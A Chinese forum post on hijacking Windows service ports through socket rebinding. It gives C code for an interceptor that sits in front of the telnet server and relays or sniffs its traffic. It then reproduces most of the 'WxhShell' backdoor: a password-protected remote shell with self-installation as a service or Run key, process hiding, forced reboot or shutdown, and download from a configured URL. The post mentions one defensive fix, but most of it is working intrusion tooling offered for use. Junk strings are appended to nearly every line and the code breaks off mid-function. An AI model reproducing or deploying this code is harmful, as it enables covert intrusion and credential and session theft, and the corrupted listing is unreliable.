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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NitWIj[U;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E+k#1c|v$  
zBV7b| j  
  saddr.sin_family = AF_INET; 7'uuc]\5>  
4Z5ZV!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ppL*#/jYt  
!j8.JP}!)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rLP:kP'b  
rBY)rUDd4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?w/i;pp<,  
ITpo:"X g  
  这意味着什么?意味着可以进行如下的攻击: \0bao<  
jd>ug=~x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #GoZH?MAF  
{nQ?+o3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *GUQz  
YF)uAJAk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }J_"/bB  
_-MILkx\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^~dBO %M^  
 DT2uUf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >]/RlW[  
,#/%Fn%T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $G UCVxs  
/J@<e{&t~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZwzN=03T  
p"'knZ G  
  #include JCe%;U  
  #include )s-[d_g  
  #include \}Hi\k+h':  
  #include    o54/r#~fi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GMv.G  
  int main() Q L 1e  
  { 5I`_S Oa!  
  WORD wVersionRequested; $l W 7me  
  DWORD ret; *(+*tj cWa  
  WSADATA wsaData; ":I@>t{H*  
  BOOL val; jV 'u*2&9  
  SOCKADDR_IN saddr; :abpht  
  SOCKADDR_IN scaddr; 7M.TLV!f]  
  int err; r*F^8_YMK  
  SOCKET s; )/:j$aq  
  SOCKET sc; +<})`(8  
  int caddsize; Vb57B.I  
  HANDLE mt; ,%^qzoZnT  
  DWORD tid;   +|K/*VVn`  
  wVersionRequested = MAKEWORD( 2, 2 ); N{}o*K  
  err = WSAStartup( wVersionRequested, &wsaData );  S!Bnz(z  
  if ( err != 0 ) { l_lK,=cLj+  
  printf("error!WSAStartup failed!\n"); SuJa?VU1w  
  return -1; Dug{)h_2  
  } t&>eZ"  
  saddr.sin_family = AF_INET; F?c : ).g  
   B]nu \!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [G<SAWFg7  
zcE` .)y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $/)0iL{0  
  saddr.sin_port = htons(23); Hw\hTTK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S=zW wo$  
  { Ly~s84k_po  
  printf("error!socket failed!\n"); cx_$`H  
  return -1; L?&Trq7i  
  } C"cBlru8B  
  val = TRUE; CkeqK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fo;.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #I-qL/Lm  
  { _|C T|q  
  printf("error!setsockopt failed!\n"); /4Sul*{hc  
  return -1; 8h{;*Wr-  
  } ^@-qnU lH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i}_d&.DbF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fu*Qci1Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bBp('oEJu  
Pm=i(TBS/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xN>+!&3%w  
  { =|O><O|  
  ret=GetLastError(); |QO)x En~  
  printf("error!bind failed!\n"); dMDSyd<(  
  return -1; }Zp5d7(@w  
  } pcO{%]?p  
  listen(s,2); @D2KDV3'  
  while(1) *<l9d  
  { $E35 W=~)  
  caddsize = sizeof(scaddr); ^!x}e+ o  
  //接受连接请求 EWp'zbWP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )A*Sl2ew  
  if(sc!=INVALID_SOCKET) an` GY&  
  { kT ,2eel  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jh`6@d  
  if(mt==NULL) ;o?Wn=J  
  { x5YHmvy/l  
  printf("Thread Creat Failed!\n"); eSA%:Is.  
  break; J%ue{PL7  
  } ,}HnS)+  
  } r57rH^Hc  
  CloseHandle(mt); nk+*M9r|I  
  } ((E5w:=?  
  closesocket(s); xx EcmS#>  
  WSACleanup(); nyr)d%I{  
  return 0; P(XNtQ=K  
  }   Nk/Ms:57y  
  DWORD WINAPI ClientThread(LPVOID lpParam)  !#Hca  
  { f')3~)"  
  SOCKET ss = (SOCKET)lpParam; }RY&f4&GV,  
  SOCKET sc; Wg C*bp{  
  unsigned char buf[4096]; }hX"A!0  
  SOCKADDR_IN saddr; 8- ]7>2?_  
  long num; :>GT<PPD;  
  DWORD val; !Knv/:+  
  DWORD ret; >6cENe_@t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EL=}xug,?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;3k6_ub  
  saddr.sin_family = AF_INET; Or[uq,Dm16  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oO)KhA?y  
  saddr.sin_port = htons(23); Le':b2o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kzcD}?mSS  
  { ~*Ir\wE  
  printf("error!socket failed!\n"); dwt<s [k  
  return -1; )B' U_*  
  } gDJ@s    
  val = 100; 3kBpH7h4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k&>l#oH  
  { Bt^];DjH  
  ret = GetLastError(); )iG+pP@.@  
  return -1; D7Nz3.j  
  } x uDn:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %C8fv|@:f  
  { wOp# mT  
  ret = GetLastError(); umWZ]8  
  return -1; <AB.`["  
  } y|+ltAK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <.<Q.z  
  { ;ckv$S[p  
  printf("error!socket connect failed!\n"); <#9zc'ED:  
  closesocket(sc); YMx zj  
  closesocket(ss); Z0e+CEzq  
  return -1; /fM6%V=Y  
  } _(\\>'1q!  
  while(1) zA/W+j$:  
  { u? f3&pA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p3eJFg$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V8xv@G{;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &xqe8!FeA  
  num = recv(ss,buf,4096,0); VM3H&$d(h  
  if(num>0) 7=ZB;(`L1  
  send(sc,buf,num,0); u0J+Nj9  
  else if(num==0) ^IGTGY]s  
  break; ;61m  
  num = recv(sc,buf,4096,0); @$79$:q N  
  if(num>0) GSW{h[Op  
  send(ss,buf,num,0); =P+S]<O  
  else if(num==0) *3<m<<>U  
  break; ~::gLm+f  
  } uBks#Y*3$  
  closesocket(ss); *0R=(Gy  
  closesocket(sc); " I@Z:[=2  
  return 0 ; cuR|cUK  
  } A?;/]m;  
&fj&UBA  
_TB\@)\  
========================================================== =dX*:An  
DoPm{055J  
下边附上一个代码,,WXhSHELL \+MR`\|3  
Vb 4Qt#o  
========================================================== wrn[q{dX  
-JZl?hY(  
#include "stdafx.h" 9~,eu  
$Y,]D*|"K  
#include <stdio.h> X2i<2N*@  
#include <string.h> F;ONo.v;  
#include <windows.h> YQN=.Wtc  
#include <winsock2.h> VUF7-C*  
#include <winsvc.h> de1&  
#include <urlmon.h> @R2|=ox  
3<+l.Wly  
#pragma comment (lib, "Ws2_32.lib") #K*d:W3C  
#pragma comment (lib, "urlmon.lib") ^s5.jlZr@  
5Cy)#Z{  
#define MAX_USER   100 // 最大客户端连接数 V7401@F  
#define BUF_SOCK   200 // sock buffer \0WMb  
#define KEY_BUFF   255 // 输入 buffer $LRFG(  
Gs?W7}<$  
#define REBOOT     0   // 重启 _-8,}F}W#s  
#define SHUTDOWN   1   // 关机  74Q?%X  
1|gP :t}  
#define DEF_PORT   5000 // 监听端口 syZ-xE]}  
:za!!^  
#define REG_LEN     16   // 注册表键长度 *h =7:*n  
#define SVC_LEN     80   // NT服务名长度 2CxdNj  
Ew;<iY[  
// 从dll定义API n1ED _9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >M1/m=a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n)K6Z{x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tIr66'8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZY/at/v  
akqXh 9g  
// wxhshell配置信息 <aHK{ *'3  
struct WSCFG { zIo))L  
  int ws_port;         // 监听端口 v;$^1I  
  char ws_passstr[REG_LEN]; // 口令 84 knoC  
  int ws_autoins;       // 安装标记, 1=yes 0=no )@Zel.XD  
  char ws_regname[REG_LEN]; // 注册表键名 K0E ;4r  
  char ws_svcname[REG_LEN]; // 服务名 ,!Hl@(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *TXq/ 3g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 16 Xwtn72  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g]ihwm~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NfO0^^"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~0}eNz*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wM&G-~9ujk  
!c&^b@ yw  
}; c"z%AzUV'  
qe$K6A%Yd  
// default Wxhshell configuration pj )I4C)  
struct WSCFG wscfg={DEF_PORT, !.J~`Y'd_  
    "xuhuanlingzhe", 'RA[_Z  
    1, 53T2w,?  
    "Wxhshell", @KpzxcEoO  
    "Wxhshell", r"Bf@va  
            "WxhShell Service", an7N<-?  
    "Wrsky Windows CmdShell Service", X%-4x   
    "Please Input Your Password: ", ^$L/Mv+  
  1, f*5"Jh@  
  "http://www.wrsky.com/wxhshell.exe", UiSc*_N"  
  "Wxhshell.exe" MJC Yi<D  
    }; Ww p^dx`!  
hB.dqv]^  
// 消息定义模块 a@a1/ 3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7/1S5yUr|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'IP!)DS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ov|j{}=L=9  
char *msg_ws_ext="\n\rExit."; ) )F.|w  
char *msg_ws_end="\n\rQuit."; 1,QRfckks  
char *msg_ws_boot="\n\rReboot..."; f LW>-O73  
char *msg_ws_poff="\n\rShutdown..."; 4(&'V+o  
char *msg_ws_down="\n\rSave to "; qa~[fORO[  
l}^#kHSyd  
char *msg_ws_err="\n\rErr!"; 8tL61x{]  
char *msg_ws_ok="\n\rOK!"; 6vA5L_  
Lv4=-mWv&0  
char ExeFile[MAX_PATH]; [Ok8l='  
int nUser = 0; d5\1-d_uz  
HANDLE handles[MAX_USER]; k Mo)4 Xp  
int OsIsNt; 7S`H?},sR  
la4 ,Z  
SERVICE_STATUS       serviceStatus; qWFg~s#+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g)9/z  
LZVO9e]  
// 函数声明 uS'ji k}  
int Install(void); w}0Qy  
int Uninstall(void); JW\"S  
int DownloadFile(char *sURL, SOCKET wsh); .+|DN"PgJ  
int Boot(int flag); zT% kx:Fk  
void HideProc(void); JdHc'WtS!|  
int GetOsVer(void); ^sKXn:)  
int Wxhshell(SOCKET wsl); D'h2 DP!  
void TalkWithClient(void *cs); .%rR  
int CmdShell(SOCKET sock); L@Z &v'A  
int StartFromService(void); 7N"Bbl  
int StartWxhshell(LPSTR lpCmdLine); D$cMPFa2Nt  
x\rZoF.NQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %\cC]<>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aK{\8L3]  
"{_"Nj H  
// 数据结构和表定义 i[pf*W0g  
SERVICE_TABLE_ENTRY DispatchTable[] = 8j}m\^si  
{ LXLDu2/@  
{wscfg.ws_svcname, NTServiceMain}, X$9QW3.M  
{NULL, NULL} fhmr*E'J  
}; S nHAY <  
uKy*N*}  
// 自我安装 6bcrPf}  
int Install(void) ,[\(U!Z7:%  
{ ]eW|}V7A:  
  char svExeFile[MAX_PATH]; 3 ms/v:\  
  HKEY key; Y14R"*t~  
  strcpy(svExeFile,ExeFile); shT[|@"C  
Ij1 ]GZ`A(  
// 如果是win9x系统,修改注册表设为自启动 j>xVy]v=|  
if(!OsIsNt) { a*j <TR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iyYY)roB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j/D)UWkR  
  RegCloseKey(key); DA$Q-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2\{uq v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N[bN"'U/1  
  RegCloseKey(key); C..2y4bA}  
  return 0; #2jn4>  
    } NP`s[  
  } ;jU-<  
} =t$mbI   
else { P0ltN  
BG:`Fq"T  
// 如果是NT以上系统,安装为系统服务 +?Jk@lE<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o U}t'WU  
if (schSCManager!=0) xd fvme[  
{ ]ZGvRA&  
  SC_HANDLE schService = CreateService fslk7RlSKg  
  ( @ P"`=BU&  
  schSCManager, ^lai!uZVa  
  wscfg.ws_svcname, on;sq8;  
  wscfg.ws_svcdisp, qH%L"J  
  SERVICE_ALL_ACCESS, M.:@<S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5V nr"d  
  SERVICE_AUTO_START, 9U9c"'g  
  SERVICE_ERROR_NORMAL, c{'$=lR "  
  svExeFile, LCo1{wi  
  NULL, G?Qe"4 .  
  NULL, %gV)arwK  
  NULL, W\I$`gyC/  
  NULL, `YFkY^T  
  NULL _%A/ )  
  ); E<D+)A  
  if (schService!=0) Ap F*a$),  
  { \b_-mnN"  
  CloseServiceHandle(schService); 7%:??*"~  
  CloseServiceHandle(schSCManager); jHkyF`<+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "?oo\op  
  strcat(svExeFile,wscfg.ws_svcname);  _/8_,9H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x\Nhix}1D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ax-=n(   
  RegCloseKey(key); hr J$%U  
  return 0; S2koXg(  
    } iyA*J CD  
  } .K $p`WQ{  
  CloseServiceHandle(schSCManager); M,b<B_$  
} T5 K-gz7A  
} XoDJzrL#  
EHH|4;P6  
return 1; GIl:3iB49  
} pu\b`3C(  
H "Q(2I  
// 自我卸载 b*lKT]D,  
int Uninstall(void) DWF >b  
{ &E.OyqGZV  
  HKEY key; +<)tql*  
!&@2  
if(!OsIsNt) { 1k!D0f3qb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f2uZK!:m  
  RegDeleteValue(key,wscfg.ws_regname); X }m7@r@  
  RegCloseKey(key); am]3 "V>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'jh2**i 34  
  RegDeleteValue(key,wscfg.ws_regname); "AT&!t[J  
  RegCloseKey(key); EwTS!gL  
  return 0; RM)1*l`!E  
  } x2sN\tOh^  
} IJ hxE  
} E2>im>p  
else {  =Ov9Kf  
}phz7N9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n(Qj||:  
if (schSCManager!=0) 7}gA0fP9  
{ ;F|jG}M"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bSQ_"  
  if (schService!=0) h!QjpzQe  
  { C=8H)Ef,l  
  if(DeleteService(schService)!=0) { HS7R lU^  
  CloseServiceHandle(schService); 'zE: fLo  
  CloseServiceHandle(schSCManager); X z8$Xz,O  
  return 0; %cS#+aK6M'  
  } "pYe-_"@  
  CloseServiceHandle(schService); '=$TyiU  
  } AD(xaQ&T  
  CloseServiceHandle(schSCManager); &.hoC Po$  
} fH&zR#T7U4  
} A5+q^t}  
O!o <P5X^  
return 1; Ks|gL#)*Ku  
} .hxin [Y  
X!o@f$  
// 从指定url下载文件 ^Wf S\M`  
int DownloadFile(char *sURL, SOCKET wsh) Q< dba12  
{ {798=pC<.  
  HRESULT hr; t`uc3ta"9  
char seps[]= "/"; CK=ARh#|  
char *token; Kf|0*c  
char *file; av)?>J~;  
char myURL[MAX_PATH]; K@HLIuz4t  
char myFILE[MAX_PATH]; (Bsw/wv  
R!9qQn?  
strcpy(myURL,sURL); :u AjV  
  token=strtok(myURL,seps); 7$K}qsr<  
  while(token!=NULL) >cTjA):  
  { h:_NA  
    file=token; JXL'\De ;  
  token=strtok(NULL,seps); k2pT1QZnt  
  } 3<+z46`?  
S3QaYq"v  
GetCurrentDirectory(MAX_PATH,myFILE); !h?=Wv ==]  
strcat(myFILE, "\\"); &h\7^=s.  
strcat(myFILE, file); <M=';h^w2  
  send(wsh,myFILE,strlen(myFILE),0); w\p9J0  
send(wsh,"...",3,0); ,^HS`!s[ E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L(;.n>/  
  if(hr==S_OK) o7J{+V  
return 0; 8+&gp$a$  
else Nvhy3  
return 1; 9]Lo  
G#|Hu;C6"  
} v O PMgEI  
y>)MAzz~\  
// 系统电源模块 1b8c67j[  
int Boot(int flag) 1EQvcw #  
{ v:?o3 S  
  HANDLE hToken; *{Yh6 {  
  TOKEN_PRIVILEGES tkp; ^B|YO8.v  
!8o\.uyi  
  if(OsIsNt) { /e .D /;]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I'?6~Sn3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 22|"K**3J|  
    tkp.PrivilegeCount = 1; YQ+^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I=o'+>az  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g1ytT%]  
if(flag==REBOOT) { ex!XB$X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :,47rN,qa  
  return 0; puA |NT  
} yZ5 x8 8>  
else { ]{Z8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <&6u]uKrW  
  return 0; W-ez[raY  
} rpSr^slr  
  } $HxS:3D%D  
  else { ^j[Ku  
if(flag==REBOOT) { GyuV %  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ODek%0=  
  return 0; mTJ"l(,3  
} KxX[ S.C  
else { 'g~@"9'oe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _; 7fraqX  
  return 0; 6e<^o H  
} |/*pT1(&  
} TW2Z=ks=  
[g`,AmR\!  
return 1; %Ci^*zb  
} L{<7.?{Y  
E23w *']  
// win9x进程隐藏模块 2kVp_=c  
void HideProc(void) /K@$#x_{  
{ +aj^Cs1$  
 VGB-h'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M%|f+u&  
  if ( hKernel != NULL ) Je@kiE  
  { M/} aq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <wa(xDBw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8kS~ENe?o  
    FreeLibrary(hKernel); r@yD8D \  
  } eC;!YG Z  
;y OD  
return; v8~YR'T0`V  
} >(3'Tnu  
U!0E_J  
// 获取操作系统版本 {+Sq<J_`M  
int GetOsVer(void) >C# kqxfg  
{ C\A49q  
  OSVERSIONINFO winfo; !k-` eJ|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $_FZn'Db6  
  GetVersionEx(&winfo); jtCZfFD?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HCazwX  
  return 1; 8U=A{{0p  
  else $rB6<  
  return 0; 1`QsW&9=b  
} !oGQ8 e  
g z4UV/qr/  
// 客户端句柄模块 JGgxAd{L  
int Wxhshell(SOCKET wsl) GS4_jvD-  
{ e9:P9Di(b  
  SOCKET wsh; K}K)`bifw  
  struct sockaddr_in client; sOz sY7z3Z  
  DWORD myID; T>F9Hs  W  
Onw24&  
  while(nUser<MAX_USER) 5r7h=[N  
{ c&m9)r~zP  
  int nSize=sizeof(client); gc,Ps  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u|OtKq  
  if(wsh==INVALID_SOCKET) return 1; !DcX8~~@  
{cR3.%wX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u(2BQO7  
if(handles[nUser]==0) ~K` 1  
  closesocket(wsh); >{t+4p4k.  
else @c]Xh:I  
  nUser++; ?wCs&tM  
  } 9^\hmpP@D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]| WA#8_|  
L;yEz[#xaT  
  return 0; h'!V8'}O?  
} v20~^gKo=m  
FW Y[=S  
// 关闭 socket JO}?.4B  
void CloseIt(SOCKET wsh) 9I kUZW  
{ " @)lH  
closesocket(wsh); y\z > /q  
nUser--; O^NP0E  
ExitThread(0); s.rT]  
} |_nC6 ;  
j)";:v  
// 客户端请求句柄 *8UYSA~v  
void TalkWithClient(void *cs) DqlK.  
{ } # Xi`<{  
I.a0[E/,  
  SOCKET wsh=(SOCKET)cs; HfZtL  
  char pwd[SVC_LEN]; j ug'g  
  char cmd[KEY_BUFF]; liD47}+  
char chr[1]; EneAX&SG  
int i,j;  qpTm  
U`1l8'W}:#  
  while (nUser < MAX_USER) { JY@X2'>v/  
N&x:K+Zm .  
if(wscfg.ws_passstr) { =G>.-Qfs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PG"@A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QnU0"_-  
  //ZeroMemory(pwd,KEY_BUFF); ~6sE an3p  
      i=0; qHJ'1~?q  
  while(i<SVC_LEN) { f~*K {7  
$?$9y ^\  
  // 设置超时 ; 8E;  
  fd_set FdRead; n ,1tD  
  struct timeval TimeOut; {82rne `[  
  FD_ZERO(&FdRead); k/bque  
  FD_SET(wsh,&FdRead); Rf:<-C0T  
  TimeOut.tv_sec=8; 0[9I0YBJ  
  TimeOut.tv_usec=0; 2&x7W*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N8 M'0i?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~bGnq, .$  
>2Ca5C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~},~c:fF?  
  pwd=chr[0];  0Ve%.k  
  if(chr[0]==0xd || chr[0]==0xa) { ]>vf9]  
  pwd=0; 6F-JK1i  
  break; DB~MYOX~  
  } ~<eVl l=  
  i++; Xl?YB Z}  
    } y1u9 B;Fd  
fkG##!  
  // 如果是非法用户,关闭 socket "uhV|Lk*7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 97S? ;T  
} jN{Zw*  
pg!`SxFD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <tW:LU(!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \gd6Yx^[  
zLK\I~rU!  
while(1) { JT#7yetk'  
$`v+4]   
  ZeroMemory(cmd,KEY_BUFF); z^3Q.4Qc6^  
&SrGh$:X  
      // 自动支持客户端 telnet标准   hb<k]-'!  
  j=0; ]4GZ'&m}  
  while(j<KEY_BUFF) { Gql`>~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]<+3Vw  
  cmd[j]=chr[0]; 9N1#V K  
  if(chr[0]==0xa || chr[0]==0xd) { .?Auh2nr  
  cmd[j]=0; ssT@<Tk^4  
  break; U3N(cFXn  
  } y<v|X2  
  j++; P{Lg{I_w.B  
    } 5y}BCY2=/  
x,f>X;04  
  // 下载文件 tO`?{?W7  
  if(strstr(cmd,"http://")) { -_HRqw,Z0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]<q'U> N  
  if(DownloadFile(cmd,wsh)) o~k;D{Snr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dEG ]riO  
  else tJz^DXqAc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  -tMA  
  } =R2l3-HA=  
  else { AygvJeM_W  
8(^ ,r#Gy  
    switch(cmd[0]) { 0:#7M}U  
  ]$|st^Q  
  // 帮助 1xIFvXru  
  case '?': { D Kq-C%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DUhT>,~]  
    break; =oPng= :  
  } La]4/=a  
  // 安装  VmYBa(  
  case 'i': { 9ClF<5?M  
    if(Install()) 2n(ItA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7~D`b1||  
    else /0l-mfRr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0NrTJ R`  
    break; k5C>_( A  
    } (qbc;gBy  
  // 卸载 !YIb  
  case 'r': { "&}mAWT%If  
    if(Uninstall()) IX?@~'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j 37:  
    else (<n>EF#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zaBG=  
    break; P.!;Uf}32  
    } RpjSTV8Tkm  
  // 显示 wxhshell 所在路径 &62` Wr0C  
  case 'p': { wCC-Y kA  
    char svExeFile[MAX_PATH]; \1~I04'=  
    strcpy(svExeFile,"\n\r"); _En]@xK3&  
      strcat(svExeFile,ExeFile); Ae.]F)w_\  
        send(wsh,svExeFile,strlen(svExeFile),0); jXtLo,km  
    break; %Dl_}  
    } 9X.gg$P  
  // 重启 BJ"Ay@D*  
  case 'b': { |fx#KNPf]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a~6ztEhGm  
    if(Boot(REBOOT)) WVinP(#nfM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C9GU6Ao  
    else { [rc'/@L  
    closesocket(wsh); `9:v*KuM#R  
    ExitThread(0); G;Us-IRZ  
    } 1 iquHn  
    break; 8Er[M  
    } [9w, WJL  
  // 关机 2YaTT& J  
  case 'd': { gW/QFZjY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y7*'QKz2  
